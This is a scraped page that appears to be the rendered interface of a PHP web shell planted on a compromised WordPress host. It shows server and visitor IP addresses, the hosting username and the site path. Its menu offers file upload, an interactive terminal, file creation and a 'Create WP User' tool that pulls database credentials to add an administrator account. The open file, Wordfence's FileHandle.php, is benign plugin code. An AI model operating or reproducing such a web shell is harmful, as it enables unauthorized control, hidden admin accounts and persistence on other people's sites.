Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.216.193
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat_30102025
/
wp-content
/
plugins
/
wordfence
/
vendor
/
wordfence
/
mmdb-reader
/
src
/
Io
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
FileHandle.php
2.20 KB
-rw-r--r--
2025-10-28 19:07
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
FileHandle.php
<?php namespace Wordfence\MmdbReader\Io; use Wordfence\MmdbReader\Exception\IoException; class FileHandle { const POSITION_START = 0; const DIRECTION_FORWARD = 1; const DIRECTION_REVERSE = -1; const CHUNK_SIZE_DEFAULT = 1024; private $resource; private $close; public function __construct($resource, $close = true) { $this->resource = $resource; $this->close = $close; } public function __destruct() { if ($this->close) fclose($this->resource); } public function seek($offset, $whence = SEEK_SET) { if (fseek($this->resource, $offset, $whence) !== 0) throw new IoException("Seeking file to offset {$offset} failed"); } public function getPosition() { $position = ftell($this->resource); if ($position === false) throw new IoException('Retrieving current position in file failed'); return $position; } public function isAtStart() { return $this->getPosition() === self::POSITION_START; } public function isAtEnd() { return feof($this->resource); } public function read($length) { $read = fread($this->resource, $length); if ($read === false) throw new IoException("Reading {$length} byte(s) from file failed"); return $read; } public function readByte() { return ord($this->read(1)); } public function readAll($chunkSize = self::CHUNK_SIZE_DEFAULT) { $data = ''; do { $chunk = $this->read($chunkSize); if (empty($chunk)) break; $data .= $chunk; } while (true); return $data; } public function locateString($string, $direction, $limit = null, $after = false) { $searchStart = $limit === null ? null : $this->getPosition(); $length = strlen($string); $position = $searchStart; if ($direction === self::DIRECTION_REVERSE) $position -= $length; do { try { $this->seek($position, SEEK_SET); } catch (IoException $e) { //This assumes that a seek failure means that the target position is out of range (and hence the search just needs to stop rather than throwing an exception) break; } $test = $this->read($length); if ($test === $string) { return $position + ($after ? $length : 0); } $position += $direction; } while ($limit === null || abs($position - $searchStart) < $limit); return null; } }
关闭
保存